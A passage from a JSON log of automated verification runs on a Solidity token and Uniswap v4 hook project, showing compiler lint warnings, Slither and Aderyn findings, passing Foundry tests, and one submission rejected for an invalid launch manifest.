(src/SIMDTESTHook.sol#117-144):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:243: Reentrancy in SIMDTESTHook._accrue(uint256,uint256) (src/SIMDTESTHook.sol#243-251):\n[low/medium] timestamp at src/SIMDTESTHook.sol:180: SIMDTESTHook.donateBatch() (src/SIMDTESTHook.sol#180-190) uses timestamp for comparisons","passed":true},{"durationMs":348,"exitCode":0,"name":"aderyn","output":"[low] internal-function-used-once at src/HookFlags.sol:23: Internal Function Used Only Once\n[low] large-numeric-literal at src/SIMDTEST.sol:9: Large Numeric Literal (2 places)\n[low] state-change-without-event at src/SIMDTESTHook.sol:198: State Change Without Event\n[low] unchecked-return at src/SIMDTESTHook.sol:194: Unchecked Return (2 places)","passed":true},{"durationMs":1903,"exitCode":0,"name":"proof 02e651d8a8e5","output":"Compiling 86 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.36s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-6b261dee/Proof_02e651d8a8e5.t.sol:ProofFeeBasisTest\n[PASS] test_sameTokensSameBlockSameHookFeeRegardlessOfSwapMode() (gas: 590351)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 20.14ms (498.73µs CPU time)\n\nRan 1 test suite in 20.83ms (20.14ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"03badfa80fc6a81a861bd0ed1bcfb9ebacfbc0ada44a16c11ef2b470eb4463b1","verifiedTreeHash":"ea4726e383f16e9b1fa91051834c78f435b651ee","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":3168,"exitCode":0,"name":"build","output":"Compiling 86 files with Solc 0.8.26\nSolc 0.8.26 finished in 3.04s\nCompiler run successful!\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/SIMDTESTHook.sol:62:40\n   │\n62 │     constructor(IPoolManager manager_, address token_) {\n   │                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/SIMDTESTHook.sol:110:63\n    │\n110 │         return elapsed >= DECAY_BLOCKS ? 0 : ANTI_SNIPE_BPS - elapsed * (ANTI_SNIPE_BPS / DECAY_BLOCKS);\n    │                                                               ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:199:9\n    │\n199 │         emit FeesAccrued(snipe, growth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:130:25\n    │\n130 │             if (gross > uint256(type(int256).max)) revert UnrepresentableFee();\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:137:46\n    │\n137 │             params.zeroForOne, exactInput ? -int256(poolAmount) : int256(poolAmount), params.sqrtPriceLimitX96\n    │                                              ━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:137:67\n    │\n137 │             params.zeroForOne, exactInput ? -int256(poolAmount) : int256(poolAmount), params.sqrtPriceLimitX96\n    │                                                                   ━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:172:43\n    │\n172 │         if (!ok && result.length == 36 && bytes4(result) == QuoteResult.selector) {\n    │                                           ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:189:28\n    │\n189 │         return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                            ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:189:56\n    │\n189 │         return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `operation` is updated\n    ╭▸ src/SIMDTESTHook.sol:235:9\n    │\n235 │         poolManager.unlock(\"\");\n    │         ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:209:9\n    │\n209 │         emit Swept(amount);\n    │         ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SIMDTESTHook.sol:218:13\n    │\n218 │         if (block.timestamp - previous < BATCH_INTERVAL) revert TooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:224:9\n    │\n224 │         emit BatchDonated(amount, block.timestamp);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:228:27\n    │\n228 │         uint256 maximum = uint256(uint128(type(int128).max));\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:228:35\n    │\n228 │         uint256 maximum = uint256(uint128(type(int128).max));\n    │                                   ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:235:9\n    │\n235 │         poolManager.unlock(\"\");\n    │         ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:248:13\n    │\n248 │             poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\n","passed":true},{"durationMs":1534,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped: mainnet fork not supplied; local real PoolManager coverage is in SIMDTESTHook.t.sol] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 345.86µs (0.00ns CPU time)\n\nRan 3 tests for test/SIMDTEST.t.sol:SIMDTESTTest\n[PASS] testFuzz_transfersAndAllowanceHaveNoTax(uint96) (runs: 1000, μ: 136559, ~: 137029)\n[PASS] test_cannotMintOrManageToken() (gas: 144935)\n[PASS] test_factoryReceivesEntireSupply() (gas: 44057)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 79.02ms (78.95ms CPU time)\n\nRan 16 tests for test/SIMDTESTHook.t.sol:HookPairIs0Test\n[PASS] testFuzz_partialFillsOnlyTaxActualAmounts(uint96,uint8,bool,bool) (runs: 1000, μ: 448818, ~: 452724)\n[PASS] testFuzz_swapsConserveFunds(uint96,uint8,bool,bool) (runs: 1000, μ: 441358, ~: 429200)\n[PASS] test_allCallbacksRejectSpoofing() (gas: 287187)\n[PASS] test_allModesAtEveryDecayBlock() (gas: 22180755)\n[PASS] test_claimsWorkWhenPoolStartsWithOnlyLaunchTokens() (gas: 6519837)\n[PASS] test_donationHalfHourlyBenefitsLPs() (gas: 929362)\n[PASS] test_emptyBatchDoesNotStartCooldown() (gas: 454410)\n[PASS] test_failedDonationWithoutLiquidityRollsBack() (gas: 796094)\n[PASS] test_failedVaultTransferPreservesClaimAndDoesNotBlockSwaps() (gas: 944110)\n[PASS] test_hugeRequestsCanPartiallyFill() (gas: 2185780)\n[PASS] test_initializationBindsTokenPairAndStaticTerms() (gas: 4220509)\n[PASS] test_noFillHasNoFee() (gas: 3105263)\n[PASS] test_onlyUnrepresentableExactOutputFeeReverts() (gas: 180672)\n[PASS] test_permissionsAndBytecodeLimits() (gas: 2593428)\n[PASS] test_sweepAnyoneToFixedVaultOnly() (gas: 596084)\n[PASS] test_sweepRejectsCrossFunctionReentry() (gas: 1375001)\nSuite result: ok. 16 passed; 0 failed; 0 skipped; finished in 81.67ms (223.34ms CPU time)\n\nRan 2 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_chainPolicy() (gas: 2184314)\n[PASS] test_plannedCreationCodeDeploysDirectHook() (gas: 39705372)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 193.09ms (33.36ms CPU time)\n\nRan 16 tests for test/SIMDTESTHook.t.sol:HookPairIs1Test\n[PASS] testFuzz_partialFillsOnlyTaxActualAmounts(uint96,uint8,bool,bool) (runs: 1000, μ: 448824, ~: 454190)\n[PASS] testFuzz_swapsConserveFunds(uint96,uint8,bool,bool) (runs: 1000, μ: 440496, ~: 429750)\n[PASS] test_allCallbacksRejectSpoofing() (gas: 287738)\n[PASS] test_allModesAtEveryDecayBlock() (gas: 22165999)\n[PASS] test_claimsWorkWhenPoolStartsWithOnlyLaunchTokens() (gas: 15906213)\n[PASS] test_donationHalfHourlyBenefitsLPs() (gas: 916386)\n[PASS] test_emptyBatchDoesNotStartCooldown() (gas: 441368)\n[PASS] test_failedDonationWithoutLiquidityRollsBack() (gas: 783060)\n[PASS] test_failedVaultTransferPreservesClaimAndDoesNotBlockSwaps() (gas: 929428)\n[PASS] test_hugeRequestsCanPartiallyFill() (gas: 2172530)\n[PASS] test_initializationBindsTokenPairAndStaticTerms() (gas: 4220509)\n[PASS] test_noFillHasNoFee() (gas: 3105121)\n[PASS] test_onlyUnrepresentableExactOutputFeeReverts() (gas: 180481)\n[PASS] test_permissionsAndBytecodeLimits() (gas: 2593428)\n[PASS] test_sweepAnyoneToFixedVaultOnly() (gas: 583010)\n[PASS] test_sweepRejectsCrossFunctionReentry() (gas: 1361927)\nSuite result: ok. 16 passed; 0 failed; 0 skipped; finished in 196.52ms (244.26ms CPU time)\n\nRan 1 test for test/Invariant.t.sol:FeeInvariantTest\n[PASS] invariant_claimsAndFeeBucketsConserve() (runs: 128, calls: 8192, reverts: 0)\n\n╭------------+----------+-------+---------+----------╮\n| Contract   | Selector | Calls | Reverts | Discards |\n+====================================================+\n| FeeHandler | advance  | 2098  | 0       | 0        |\n|------------+----------+-------+---------+----------|\n| FeeHandler | donate   | 2032  | 0       | 0        |\n|------------+----------+-------+---------+----------|\n| FeeHandler | sweep    | 2041  | 0       | 0        |\n|------------+----------+-------+---------+----------|\n| FeeHandler | trade    | 2021  | 0       | 0        |\n╰------------+----------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.43s (1.42s CPU time)\n\nRan 6 test suites in 1.43s (1.98s CPU time): 38 tests passed, 0 failed, 1 skipped (39 total tests)\n","passed":true},{"durationMs":46,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SIMDTEST.approve(address,uint256)\",\"SIMDTEST.transfer(address,uint256)\",\"SIMDTEST.transferFrom(address,address,uint256)\",\"SIMDTESTHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SIMDTESTHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SIMDTESTHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"SIMDTESTHook.donateBatch()\",\"SIMDTESTHook.quoteAndRevert((address,address,uint24,int24,address),(bool,int256,uint160))\",\"SIMDTESTHook.sweep()\",\"SIMDTESTHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":3,\"README.md\":101,\"REVIEW.md\":44,\"docs/DEPENDENCIES.md\":14,\"docs/abi/SIMDTEST.json\":315,\"docs/abi/SIMDTESTHook.json\":860,\"docs/dependency-hashes.json\":91,\"docs/validation.json\":59,\"foundry.toml\":21,\"launch.json\":49,\"script/Deploy.s.sol\":38,\"script/HookMiner.sol\":23,\"src/HookFlags.sol\":30,\"src/SIMDTEST.sol\":11,\"src/SIMDTESTHook.sol\":252,\"test/Deployment.t.sol\":42,\"test/Invariant.t.sol\":99,\"test/MainnetFork.t.sol\":59,\"test/SIMDTEST.t.sol\":50,\"test/SIMDTESTHook.t.sol\":346,\"test/helpers/LaunchFixture.sol\":97,\"test/helpers/SettlementRouter.sol\":49,\"test/mocks/MockERC20.sol\":15,\"test/mocks/ReentrantPair.sol\":31},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":1222,"exitCode":0,"name":"slither","output":"[medium/medium] divide-before-multiply at src/SIMDTESTHook.sol:107: SIMDTESTHook.antiSnipeBps() (src/SIMDTESTHook.sol#107-111) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/SIMDTESTHook.sol:192: SIMDTESTHook._accrue(uint256,uint256) (src/SIMDTESTHook.sol#192-200) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SIMDTESTHook.sol:170: SIMDTESTHook._quote(PoolKey,SwapParams) (src/SIMDTESTHook.sol#170-182) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SIMDTESTHook.sol:214: SIMDTESTHook.donateBatch() (src/SIMDTESTHook.sol#214-225) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SIMDTESTHook.sol:203: SIMDTESTHook.sweep() (src/SIMDTESTHook.sol#203-210) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SIMDTESTHook.sol:214: SIMDTESTHook.donateBatch() (src/SIMDTESTHook.sol#214-225) uses a dangerous strict equality:\n[medium/medium] unused-return at src/SIMDTESTHook.sol:232: SIMDTESTHook._unlock(uint8,uint256) (src/SIMDTESTHook.sol#232-238) ignores return value by poolManager.unlock() (src/SIMDTESTHook.sol#235)\n[medium/medium] unused-return at src/SIMDTESTHook.sol:240: SIMDTESTHook.unlockCallback(bytes) (src/SIMDTESTHook.sol#240-251) ignores return value by poolManager.donate(poolKey(),amount,0,) (src/SIMDTESTHook.sol#248)\n[medium/medium] unused-return at src/SIMDTESTHook.sol:240: SIMDTESTHook.unlockCallback(bytes) (src/SIMDTESTHook.sol#240-251) ignores return value by poolManager.donate(poolKey(),0,amount,) (src/SIMDTESTHook.sol#248)\n[low/medium] reentrancy-benign at src/SIMDTESTHook.sol:232: Reentrancy in SIMDTESTHook._unlock(uint8,uint256) (src/SIMDTESTHook.sol#232-238):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:214: Reentrancy in SIMDTESTHook.donateBatch() (src/SIMDTESTHook.sol#214-225):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:192: Reentrancy in SIMDTESTHook._accrue(uint256,uint256) (src/SIMDTESTHook.sol#192-200):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:113: Reentrancy in SIMDTESTHook.beforeSwap(address,PoolKey,SwapParams,bytes) (src/SIMDTESTHook.sol#113-144):\n[low/medium] reentrancy-events at src/SIMDTESTHook.sol:203: Reentrancy in SIMDTESTHook.sweep() (src/SIMDTESTHook.sol#203-210):\n[low/medium] timestamp at src/SIMDTESTHook.sol:214: SIMDTESTHook.donateBatch() (src/SIMDTESTHook.sol#214-225) uses timestamp for comparisons","passed":true},{"durationMs":336,"exitCode":0,"name":"aderyn","output":"[low] internal-function-used-once at src/HookFlags.sol:23: Internal Function Used Only Once\n[low] large-numeric-literal at src/SIMDTEST.sol:9: Large Numeric Literal (2 places)\n[low] unchecked-return at src/SIMDTESTHook.sol:235: Unchecked Return (2 places)","passed":true}],"detail":"launch.json is not a valid launch manifest: kind: Invalid discriminator value. Expected 'univ4_hook' | 'evm_project' | 'custom_token' | 'evm_contracts'","evaluation":"checks","profile":"foundry","status":"rejected","submissionHash":"189dfc71e90d6881140e8e260935bd9b3c92ca887f7c81e03af7c61458a23c6e","verifiedTreeHash":"3c9689dd8670c0817835af53910b9e7de1bc0222","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":4243,"exitCode":0,"name":"build","output":"Compiling 94 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.09s\nCompiler run successful!\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/SIMDTESTHook.sol:58:40\n   │\n58 │     constructor(IPoolManager manager_, address token_) {\n   │                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:240:9\n    │\n240 │         emit FeesAccrued(anti, growth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:131:22\n    │\n131 │         if (target > uint256(type(int256).max)) revert UnrepresentableFee();\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:134:44\n    │\n134 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:134:61\n    │\n134 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:144:63\n    │\n144 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:144:70\n    │\n144 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `operating` is updated\n    ╭▸ src/SIMDTESTHook.sol:184:9\n    │\n184 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:166:9\n    │\n166 │         emit Swept(msg.sender, amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:22\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:30\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:67\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:75\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SIMDTESTHook.sol:172:13\n    │\n172 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:179:9\n    │\n179 │         emit Donated(msg.sender, amount, block.timestamp);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:22\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:30\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:67\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:75\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:184:9\n    │\n184 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:195:13\n    │\n195 │             poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");\n    │             